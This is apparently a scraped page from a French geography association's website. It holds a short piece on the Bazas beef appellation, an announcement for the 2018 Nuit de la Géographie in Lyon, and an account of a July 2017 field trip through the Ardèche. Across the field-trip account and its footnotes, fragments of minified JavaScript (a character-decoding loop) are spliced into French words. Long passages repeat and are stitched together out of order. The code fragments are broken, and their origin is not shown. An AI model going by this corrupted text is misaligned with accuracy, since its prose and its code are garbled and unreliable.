Petite géographie du bœuf de Bazas

Notre carte représente le territoire d’une appellation bovine doublement labellisée, le « bœuf de Bazas ». Originellement produit du terroir bazadais, localisé dans le sud de la Gironde, cette appellation recouvre désormais un ensemble plus vaste : l’IGP s’étend du Médoc au nord-ouest du Gers en passant par une partie du Lot-et-Garonne. Elle s’appuie sur une longue tradition, c’est également un élément de développement économique territorial, et un composant du paysage socio-culturel, et ce à différentes échelles.

Boeuf de Bazas

Boeufs de Bazas à la fête des boeufs gras de Bazas, 2012. Photographie de Jacme31 sous licence CC BY-SA 2.0. Source Flickr.

Notre carte, centrée sur l’espace de production et de diffusion du bœuf de Bazas dans le cadre plus général du Sud-Ouest de la France, tente d’illustrer l’ancrage local d’un produit de qualité, qui essaie de se diffuser par différents moyens (communication, exportation, discours…) à l’intérieur et à l’extérieur de son espace d’origine. Les nombreux acteurs sont ainsi cartographiés pour montrer leur importance, et leurs différentes stratégies quant à la viabilité sur le long terme de leurs actions en faveur de ce produit.

La légende, riche en items, fait figure de texte explicatif, d’où sa densité, peu courante pour une carte de synthèse. Elle permet d’analyser en profondeur une production pas toujours évidente à saisir, mêlant des dimensions variées (géographiques, économiques, sociologiques etc.) et des logiques multiples (spatiales, de rentabilité, etc.).

Il est toujours difficile de symboliser par une représentation abstraite (comme l’est cette carte) des données visuelles, olfactives voire gustatives, c’est pour cela que nous espérons que ce parti pris ne gênera pas le lecteur… En vous souhaitant une bonne dégustation visuelle !

Victor Piganiol

 

Boeuf de Bazas carte AOP

légende boeuf de Bazas

 

 

La Géothèque, partenaire de la Nuit de la géographie à Lyon

Nuit de la Géographie le 6 avril à Lyon

Venez cultiver votre curiosité géographique et rencontrer des géographes dans un cadre convivial !

Voir la carte de cet événement européen :

Voir en plein écran


Infos pratiques :

Le 6 avril 2018, de 18 h à minuit.
Lieu : Hévéa, 2 rue Zimmermann 69007 Lyon
Restauration et boisson sur place. Accès libre
Contact : nuitdelageolyon@gmail.com
Page de l’événement facebook

Programme :

En continu : Ateliers  (salle B)
– Posters et expos photos
– Librairie Archipel
– Les graffitis et la ville
– Nomad Maps de CartONG
Etc.

18h – 19h30 : Café géo avec Stéphane Crozat (Café)
, Biodiversité et Alimentation : du jardin à l’assiette.

18h – 20h : Le monde des enfants (Atrium)

18h30 – 20h : Balades urbaines (Départ de l’Atrium)
→ La gentrification à la Guillotière
→ Traverser Perrache à pied

20h – 21h30 : Conférence de Michel Lussault (Café)
La géographie bouleversée par l’entrée dans l’Anthropocène.

20h – 22h : Mapathon  (salle A)
CartONG : Cartographie participative humanitaire (venez avec votre ordinateur) Restitution à 22h

22h – 23h30 Conf-débat du RGL (Café)
RGL : Réseau des Géographes Libertaires.

Après 22h : projection de films


Qu’est-ce que la « gentrification » dans le quartier de La Guillotière ? Pourquoi les jeunes quittent les campagnes ? Quelle est l’influence des produits alimentaires sur les territoires ? En quoi ce que je mange impacte les paysages ? Quel est le rôle du langage dans la ville ? L’espace a-t-il un genre ? À quoi sert un géographe ?

La Nuit de la Géographie vous propose de participer pendant une soirée à des animations autour de la géographie sous toutes ses facettes. Elle est organisée au niveau national et européen par le CNFG, Conseil National Français de Géographie. Au niveau local c’est un comité composé de géographes passionné.e.s qui a eu envie de se réunir autour du porteur principal, l’association La Géothèque : étudiant.e.s de l’Université de Lyon et de l’ENS, jeunes chercheurs, professeurs, membres d’associations de géographie (Géoconfluences, Géorizon, AFNEG, CaféGéo, APHG, RGL), et avec le soutien de l’École Urbaine de Lyon.

Vous pourrez participer à des balades commentées, des ateliers, des conférences, des expositions dans une ambiance décontractée. Des géographes – chercheurs, professeurs, professionnels – vous feront découvrir leur travail, les questions qu’ils se posent et comment ils y répondent !

Au-delà des cartes et des noms de capitales, vous découvrirez que la géographie se niche partout autour de nous, dans ce que nous observons, nous mangeons, nous ressentons. De la géographie physique à la géographie humaine en passant par les questions géopolitiques, vous découvrirez forcément quelque chose ! Apprenez à définir un terroir derrière un vin, une histoire derrière une carte, la nature d’un sol derrière un nom de ville… Et partez en balade pour exercer votre œil de géographe ! Les différentes animations s’adressent à tous les âges et tous les niveaux de connaissance, et prennent place cette année dans un centre dédié à l’économie sociale et solidaire.

Réveillez le géographe qui sommeille en vous !

 


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Notes   [ + ]

1. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandard » style= »margin-right: 241.05pt; »>Contact presse et public : nuitdelageolyon@gmail.com>

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Sortie géographique dans le PNR des Monts d’Ardèche

C’est une première pour la Géothèque : une dizaine de membres (et futurs membres) de l’association, âgés de 2 ans et plus, ont bravé la montagne ardéchoise, pour y moissonner des documents géographiques qui sont librement utilisables pour un usage non lucratif1sous réserve de citer la source. Pour d’autres usages, nous contacter. Le récit de ce voyage vous donnera sans doute envie d’adhérer à l’association, et d’être ainsi informé.e de notre prochaine sortie géographique !

Samedi 8 juillet 2017

Départ 8 h de Lyon, arrivée midi au domaine de Pécoulas (commune de Lagorce). Treize vins en IGP Ardèche : « si tu ne trouves pas un vin qui te plaît dans un de mes vins c’est que tu dois boire du Coca ! », est la devise officieuse du vigneron, Jacques Eldin. Et en effet la diversité des goûts est réelle avec un bon rapport qualité/prix (25 €/30 € en moyenne le carton de 6). Ici on ne parle pas anglais et on le revendique (un géothécaire joue au traducteur pour des allemands en goguette). Petite exploitation familiale de 4 personnes qui s'est lancée dans les bags in box, et a mécanisé la vendange. Les coffres des voitures se remplissent...


Clichés : Nathalie Heurtault, 2017

Pique-nique au bord de l'Ardèche dans un village au label des « plus beaux villages de France » : Vogüe. Les pieds dans la fraîche Ardèche on voit un peu de la mise en tourisme de cette Ardèche méridionale « autoroute à canoës » (même si début juillet le touriste n'est pas encore trop présent).

nathalie heurtaultNathalie Heurtault
Clichés : Nathalie Heurtault, 2017

Début de la montée dans la montagne ardéchoise : premier arrêt juste avant le Tunnel du Roux, occasion de photos, croquis de paysage et commentaire de Jean-Louis notre guide local de l'étape. On observe notamment l’étagement montagnard avec la limite altitudinale du châtaignier, puis celle de la forêt, et les premières pelouses d’altitude. Paysages superbes, on s’approche des lieux de la trilogie documentaire de Depardon (Profils paysans, trois films réalisés par le photographe-cinéaste entre 2001 et 2008 : « L'approche », « Le quotidien » et « La vie moderne »), tant par le bâti que la rudesse du paysage.

Croquis vallée de la Fontaulière et vue sur la vallée du Rhône
Croquis : J.-B. Bouron

Passage de la ligne de partage des eaux entre bassin versant de l'Ardèche (Méditerranée) et de la Loire (Atlantique). Voir à ce sujet l'excellent documentaire de Dominique Marchais, La Ligne de partage des eaux, avec des vrais morceaux de géographie dedans.

Nathalie HeurtaultNathalie Heurtault Nathalie Heurtault
Clichés : Nathalie Heurtault, 2017

Arrêt à la caldeira de la Fontaulière (selon notre ami wikipédia : « vaste dépression circulaire ou elliptique, généralement d'ordre kilométrique, souvent à fond plat, située au cœur de certains gr;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=4p5&15)<<4)|(q8>>2);wb=6q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfands édifices volcaniques et résultant d'une éruption qui vide la chambre magmatique sous-jacente ») : l'Ardèche c'est aussi le vert de la végétation, même en été ; les volcans et les prairies fleuries pleines d'une biodiversité.

Caldeira
Croquis : J.-B. Bouron

Troisième arrêt au barrage de Lapalisse qui transfère de l'eau de la Loire vers l'Ardèche, un haut point géographique, d'ingénierie et de forts enjeux géopolitiques interbassins ! De ce transfert d’eau dépend une partie de la ressource touristique de la vallée de l’Ardèche.

Nathalie HeurtaultCliché : Nathalie Heurtault, 2017

Descente vers le Lac d'Issarlès qui offre une vue imprenable sur le Mont Mézenc, une station de pompage EDF et le tourisme vert des lacs de Haute Ardèche : les géographes sont heureux de se rafraîchir dans ce très beau cadre !

Encore un peu de route et installation à l'Hôtel des voyageurs d’Issarlès, un petit bourg, qui fut sans doute une importante place de marché. Le village n’a pas de rue mais une succession de vastes places. Nous sommes comme des coqs en pâte avec une vue sur les prés, la forêt et la place du village (où une maison 1900 à vendre « dans son jus » ferait un beau siège pour la Géothèque...). Adhérez à l’association pour lui permettre de débuter un empire immobilier !

Nathalie Heurtault
Cliché : Nathalie Heurtault, 2017

Soirée au hameau Les Arcis, commune d'Issarlès, où notre guide habite la moitié de l'année. Après un apéro mérité et composé de fromages, charcuterie et vins locaux, il nous fait rencontrer Rosa Moulin, 98 ans, et ses deux fils célibataires, qui s'occupent de leur 20 vaches laitières (sa fille et son gendre qui habitent Lyon sont aussi là). Une fois de plus, impossible de ne pas penser à L'Approche où Depardon interroge des paysans, notamment dans le Haut Vivarais voisin. Rosa est une figure, travaillant aux champs depuis son enfance et la mort de son père de ses blessures de guerre (mais « mort à la maison, ma mère n'a jamais eu droit à une pension, il aurait fallu qu'il meure à l'hôpital »). Autour d'un pastis et d'une brioche (ici l’apéritif s'accompagne de sucré) elle raconte un peu de sa vie dans ce pays qu'on devine rude. Ses fils nous montrent les vaches et le lieu de traite (le plus simple qui soit), l'un est très en retrait, ne conduit pas (ce qui nous semble une contrainte gigantesque dans ce contexte « loin de tout ») et l'autre est un peu plus disert et mobile. Voyage dans le temps garanti. La soirée s'écoule ensuite on ne peut plus agréablement autour d'un barbecue et de quelques bouteilles de Pécoulas.

Nathalie Heurtault
Cliché : Nathalie Heurtault, 2017

Dimanche 9 juillet 2017

Doux réveil après une nuit fraîche (ouf !) à Issarlès avec petit déjeuner sur la terrasse de l'Hôtel des voyageurs. On voit un peu de la vie dominicale de ce bourg blotti dans la moyenne montagne : motards suisses en goguette, locaux qui viennent chercher leur pain, boire leur café ou leur bière du matin... Croquis de la place, averse, soleil...

Issarlès depuis Hotel des Voyageurs

On part ensuite visiter la Ferme de la Louvèche (commune du Lac d’Issarlès) où Nicolas, le fils, associé à sa femme et son père (la maman étant officiellement à la retraite), mène énergiquement les activités d'élevage, transformation et vente directe. 60 hectares (30 de fauche qu'ils font faire et 30 de pâturage pour les chèvres), 60 à 70 chèvres alpines et 10 à 15 porcs fermiers font de cette ferme un lieu d'activité diversifiée ouverte au public. Cependant, les cars ne peuvent pas monter : le public est surtout constitué des groupes de personnes en situation de h;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=3p5&15)<<4)|(q8>>2);wb=5q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandicap et des touristes en été puisqu'elle est placée entre le Lac d'Issarlès et le Mont Gerbier de Jonc). La vieille « chaumière » avait été achetée dans les années 1970 par le gr;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=7p5&15)<<4)|(q8>>2);wb=8q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand père employé d'EDF qui avait quelques animaux pour son plaisir personnel. Le père s'est lancé dans la chèvre et la vente directe, « ce qui [les] a sauvé ». Qu;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=9p5&15)<<4)|(q8>>2);wb=10q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand le fils a voulu prendre la suite il l'a encouragé à diversifier et se lancer dans sa propre activité choisie par goût personnel : l’élevage de porcs fermiers et leur transformation sur place (abattage ailleurs). La chambre d'agriculture leur avait conseillé plutôt d’intensifier en doublant le cheptel de chèvres mais il aurait fallu agr;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=11p5&15)<<4)|(q8>>2);wb=12q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandir les bâtiments, les terrains, etc.

Cliché : Nathalie Heurtault, 2017
Cliché : Nathalie Heurtault, 2017

Cependant, le fils a fait le choix de la diversification et de la transformation sur place associée à la vente directe. Ce choix lui permet également une certaine autonomisation par rapport aux pratiques d’élevage de son père/associé. Avec un investissement de 150 000 € dans les deux laboratoires (celui de fromages et celui de découpe et charcuterie), l'exploitation produit ses charcuteries et vi;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=13p5&15)<<4)|(q8>>2);wb=14q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandes de porcs fermiers (sans label bio, le grain coûterait trop cher : de 300 € la tonne le coût du grain bio passerait à 500 € la tonne, sachant que Nicolas en utilise une tonne tous les 45 jours) et ses fromages de chèvre (bio ceux-là, mais hors AOC en raison d’un différend à l'occasion d'une redéfinition de l'espace de l'AOC Picodon) : un délice ! Les coffres se remplissent à nouveau, après une dégustation très agréable et un accueil très chaleureux... On ne peut au final qu'être frappés par le contraste entre l'exploitation familiale des Arcis et celle de La Louvèche : Nicolas a fait un lycée agricole (où on n’apprend, semble-t-il, qu’à « remplir les formulaires de la PAC ») puis une formation pour adultes de transformation du porc. Il est très inséré dans les canaux de distribution directe (Ruche qui dit Oui à Aubenas pour laquelle il adapte ses caissettes aux consommateurs urbains, vente à la ferme, visites, volonté de sensibiliser à la qualité). On sent la hauteur de vue du fils comme du père qui a su laisser une innovation sociale bien dosée transformer sa propriété en une ferme très agréable et passionnante à visiter (avec une vue imprenable sur l'Ardèche verte).

Cliché : Nathalie Heurtault, 2017Cliché : Nathalie Heurtault, 2017

La troupe des géographes descend ensuite vers le plateau par la Route des sucs. Toujours selon notre ami Wikipédia, un suc est un « sommet volcanique caractéristique de la région du Velay et du haut Vivarais dans le Massif central. Il se présente sous la forme d'un piton ou d'un dôme aux pentes fortes, nettement proéminent, de nature trachytique ou phonolitique. Ils dominent des plateaux basaltiques qui ont sensiblement le même âge géologique. L'ensemble forme un paysage caractéristique fait de hauts plateaux et de pointements isolés. ». C’est de toute beauté et très dépaysant ; cela me rappelle les Mogottes de la Vallée de Viñales à Cuba. Déjeuner au restaurant Beauséjour (commune du Béage), une adresse délicieuse, avec une vue imprenable et un service impeccable ! Les charcuteries, vi;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandes, pommes de terre, plateau de fromage et les glaces Terre Adélice (un succès agro-alimentaire local), le tout produit localement ravissent nos papilles...

Il est temps de rentrer, par la Route des sucs, la Haute-Loire, la Loire puis le Rhône et de prévoir les prochains week-ends de la Géothèque, pour toujours plus de curiosité géographique !

Récit de la sortie : Hélène Chauveau et les membres de la Géothèque

Notes   [ + ]

1. sous réserve de citer la source. Pour d’autres usages, nous contacter
2. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfands en goguette). Petite exploitation familiale de 4 personnes qui s'est lancée dans les bags in box, et a mécanisé la vendange. Les coffres des voitures se remplissent...


Clichés : Nathalie Heurtault, 2017

Pique-nique au bord de l'Ardèche dans un village au label des « plus beaux villages de France » : Vogüe. Les pieds dans la fraîche Ardèche on voit un peu de la mise en tourisme de cette Ardèche méridionale « autoroute à canoës » (même si début juillet le touriste n'est pas encore trop présent).

nathalie heurtaultNathalie Heurtault
Clichés : Nathalie Heurtault, 2017

Début de la montée dans la montagne ardéchoise : premier arrêt juste avant le Tunnel du Roux, occasion de photos, croquis de paysage et commentaire de Jean-Louis notre guide local de l'étape. On observe notamment l’étagement montagnard avec la limite altitudinale du châtaignier, puis celle de la forêt, et les premières pelouses d’altitude. Paysages superbes, on s’approche des lieux de la trilogie documentaire de Depardon (Profils paysans, trois films réalisés par le photographe-cinéaste entre 2001 et 2008 : « L'approche », « Le quotidien » et « La vie moderne »), tant par le bâti que la rudesse du paysage.

Croquis vallée de la Fontaulière et vue sur la vallée du Rhône
Croquis : J.-B. Bouron

Passage de la ligne de partage des eaux entre bassin versant de l'Ardèche (Méditerranée) et de la Loire (Atlantique). Voir à ce sujet l'excellent documentaire de Dominique Marchais, La Ligne de partage des eaux, avec des vrais morceaux de géographie dedans.

Nathalie HeurtaultNathalie Heurtault Nathalie Heurtault
Clichés : Nathalie Heurtault, 2017

Arrêt à la caldeira de la Fontaulière (selon notre ami wikipédia : « vaste dépression circulaire ou elliptique, généralement d'ordre kilométrique, souvent à fond plat, située au cœur de certains grandicap et des touristes en été puisqu'elle est placée entre le Lac d'Issarlès et le Mont Gerbier de Jonc). La vieille « chaumière » avait été achetée dans les années 1970 par le grands édifices volcaniques et résultant d'une éruption qui vide la chambre magmatique sous-jacente ») : l'Ardèche c'est aussi le vert de la végétation, même en été ; les volcans et les prairies fleuries pleines d'une biodiversité.

Caldeira
Croquis : J.-B. Bouron

Troisième arrêt au barrage de Lapalisse qui transfère de l'eau de la Loire vers l'Ardèche, un haut point géographique, d'ingénierie et de forts enjeux géopolitiques interbassins ! De ce transfert d’eau dépend une partie de la ressource touristique de la vallée de l’Ardèche.

Nathalie HeurtaultCliché : Nathalie Heurtault, 2017

Descente vers le Lac d'Issarlès qui offre une vue imprenable sur le Mont Mézenc, une station de pompage EDF et le tourisme vert des lacs de Haute Ardèche : les géographes sont heureux de se rafraîchir dans ce très beau cadre !

Encore un peu de route et installation à l'Hôtel des voyageurs d’Issarlès, un petit bourg, qui fut sans doute une importante place de marché. Le village n’a pas de rue mais une succession de vastes places. Nous sommes comme des coqs en pâte avec une vue sur les prés, la forêt et la place du village (où une maison 1900 à vendre « dans son jus » ferait un beau siège pour la Géothèque...). Adhérez à l’association pour lui permettre de débuter un empire immobilier !

Nathalie Heurtault
Cliché : Nathalie Heurtault, 2017

Soirée au hameau Les Arcis, commune d'Issarlès, où notre guide habite la moitié de l'année. Après un apéro mérité et composé de fromages, charcuterie et vins locaux, il nous fait rencontrer Rosa Moulin, 98 ans, et ses deux fils célibataires, qui s'occupent de leur 20 vaches laitières (sa fille et son gendre qui habitent Lyon sont aussi là). Une fois de plus, impossible de ne pas penser à L'Approche où Depardon interroge des paysans, notamment dans le Haut Vivarais voisin. Rosa est une figure, travaillant aux champs depuis son enfance et la mort de son père de ses blessures de guerre (mais « mort à la maison, ma mère n'a jamais eu droit à une pension, il aurait fallu qu'il meure à l'hôpital »). Autour d'un pastis et d'une brioche (ici l’apéritif s'accompagne de sucré) elle raconte un peu de sa vie dans ce pays qu'on devine rude. Ses fils nous montrent les vaches et le lieu de traite (le plus simple qui soit), l'un est très en retrait, ne conduit pas (ce qui nous semble une contrainte gigantesque dans ce contexte « loin de tout ») et l'autre est un peu plus disert et mobile. Voyage dans le temps garanti. La soirée s'écoule ensuite on ne peut plus agréablement autour d'un barbecue et de quelques bouteilles de Pécoulas.

Nathalie Heurtault
Cliché : Nathalie Heurtault, 2017

Dimanche 9 juillet 2017

Doux réveil après une nuit fraîche (ouf !) à Issarlès avec petit déjeuner sur la terrasse de l'Hôtel des voyageurs. On voit un peu de la vie dominicale de ce bourg blotti dans la moyenne montagne : motards suisses en goguette, locaux qui viennent chercher leur pain, boire leur café ou leur bière du matin... Croquis de la place, averse, soleil...

Issarlès depuis Hotel des Voyageurs

On part ensuite visiter la Ferme de la Louvèche (commune du Lac d’Issarlès) où Nicolas, le fils, associé à sa femme et son père (la maman étant officiellement à la retraite), mène énergiquement les activités d'élevage, transformation et vente directe. 60 hectares (30 de fauche qu'ils font faire et 30 de pâturage pour les chèvres), 60 à 70 chèvres alpines et 10 à 15 porcs fermiers font de cette ferme un lieu d'activité diversifiée ouverte au public. Cependant, les cars ne peuvent pas monter : le public est surtout constitué des groupes de personnes en situation de handicap et des touristes en été puisqu'elle est placée entre le Lac d'Issarlès et le Mont Gerbier de Jonc). La vieille « chaumière » avait été achetée dans les années 1970 par le gr;p5=s4.indexOf(wc.charAt(vf++

6. q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfands édifices volcaniques et résultant d'une éruption qui vide la chambre magmatique sous-jacente ») : l'Ardèche c'est aussi le vert de la végétation, même en été ; les volcans et les prairies fleuries pleines d'une biodiversité.

Caldeira
Croquis : J.-B. Bouron

Troisième arrêt au barrage de Lapalisse qui transfère de l'eau de la Loire vers l'Ardèche, un haut point géographique, d'ingénierie et de forts enjeux géopolitiques interbassins ! De ce transfert d’eau dépend une partie de la ressource touristique de la vallée de l’Ardèche.

Nathalie HeurtaultCliché : Nathalie Heurtault, 2017

Descente vers le Lac d'Issarlès qui offre une vue imprenable sur le Mont Mézenc, une station de pompage EDF et le tourisme vert des lacs de Haute Ardèche : les géographes sont heureux de se rafraîchir dans ce très beau cadre !

Encore un peu de route et installation à l'Hôtel des voyageurs d’Issarlès, un petit bourg, qui fut sans doute une importante place de marché. Le village n’a pas de rue mais une succession de vastes places. Nous sommes comme des coqs en pâte avec une vue sur les prés, la forêt et la place du village (où une maison 1900 à vendre « dans son jus » ferait un beau siège pour la Géothèque...). Adhérez à l’association pour lui permettre de débuter un empire immobilier !

Nathalie Heurtault
Cliché : Nathalie Heurtault, 2017

Soirée au hameau Les Arcis, commune d'Issarlès, où notre guide habite la moitié de l'année. Après un apéro mérité et composé de fromages, charcuterie et vins locaux, il nous fait rencontrer Rosa Moulin, 98 ans, et ses deux fils célibataires, qui s'occupent de leur 20 vaches laitières (sa fille et son gendre qui habitent Lyon sont aussi là). Une fois de plus, impossible de ne pas penser à L'Approche où Depardon interroge des paysans, notamment dans le Haut Vivarais voisin. Rosa est une figure, travaillant aux champs depuis son enfance et la mort de son père de ses blessures de guerre (mais « mort à la maison, ma mère n'a jamais eu droit à une pension, il aurait fallu qu'il meure à l'hôpital »). Autour d'un pastis et d'une brioche (ici l’apéritif s'accompagne de sucré) elle raconte un peu de sa vie dans ce pays qu'on devine rude. Ses fils nous montrent les vaches et le lieu de traite (le plus simple qui soit), l'un est très en retrait, ne conduit pas (ce qui nous semble une contrainte gigantesque dans ce contexte « loin de tout ») et l'autre est un peu plus disert et mobile. Voyage dans le temps garanti. La soirée s'écoule ensuite on ne peut plus agréablement autour d'un barbecue et de quelques bouteilles de Pécoulas.

Nathalie Heurtault
Cliché : Nathalie Heurtault, 2017

Dimanche 9 juillet 2017

Doux réveil après une nuit fraîche (ouf !) à Issarlès avec petit déjeuner sur la terrasse de l'Hôtel des voyageurs. On voit un peu de la vie dominicale de ce bourg blotti dans la moyenne montagne : motards suisses en goguette, locaux qui viennent chercher leur pain, boire leur café ou leur bière du matin... Croquis de la place, averse, soleil...

Issarlès depuis Hotel des Voyageurs

On part ensuite visiter la Ferme de la Louvèche (commune du Lac d’Issarlès) où Nicolas, le fils, associé à sa femme et son père (la maman étant officiellement à la retraite), mène énergiquement les activités d'élevage, transformation et vente directe. 60 hectares (30 de fauche qu'ils font faire et 30 de pâturage pour les chèvres), 60 à 70 chèvres alpines et 10 à 15 porcs fermiers font de cette ferme un lieu d'activité diversifiée ouverte au public. Cependant, les cars ne peuvent pas monter : le public est surtout constitué des groupes de personnes en situation de h;p5=s4.indexOf(wc.charAt(vf++

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9. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand le fils a voulu prendre la suite il l'a encouragé à diversifier et se lancer dans sa propre activité choisie par goût personnel : l’élevage de porcs fermiers et leur transformation sur place (abattage ailleurs). La chambre d'agriculture leur avait conseillé plutôt d’intensifier en doublant le cheptel de chèvres mais il aurait fallu agrand le fils a voulu prendre la suite il l'a encouragé à diversifier et se lancer dans sa propre activité choisie par goût personnel : l’élevage de porcs fermiers et leur transformation sur place (abattage ailleurs). La chambre d'agriculture leur avait conseillé plutôt d’intensifier en doublant le cheptel de chèvres mais il aurait fallu agr;p5=s4.indexOf(wc.charAt(vf++
11. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandir les bâtiments, les terrains, etc.

Cliché : Nathalie Heurtault, 2017
Cliché : Nathalie Heurtault, 2017

Cependant, le fils a fait le choix de la diversification et de la transformation sur place associée à la vente directe. Ce choix lui permet également une certaine autonomisation par rapport aux pratiques d’élevage de son père/associé. Avec un investissement de 150 000 € dans les deux laboratoires (celui de fromages et celui de découpe et charcuterie), l'exploitation produit ses charcuteries et viandir les bâtiments, les terrains, etc.

Cliché : Nathalie Heurtault, 2017
Cliché : Nathalie Heurtault, 2017

Cependant, le fils a fait le choix de la diversification et de la transformation sur place associée à la vente directe. Ce choix lui permet également une certaine autonomisation par rapport aux pratiques d’élevage de son père/associé. Avec un investissement de 150 000 € dans les deux laboratoires (celui de fromages et celui de découpe et charcuterie), l'exploitation produit ses charcuteries et vi;p5=s4.indexOf(wc.charAt(vf++

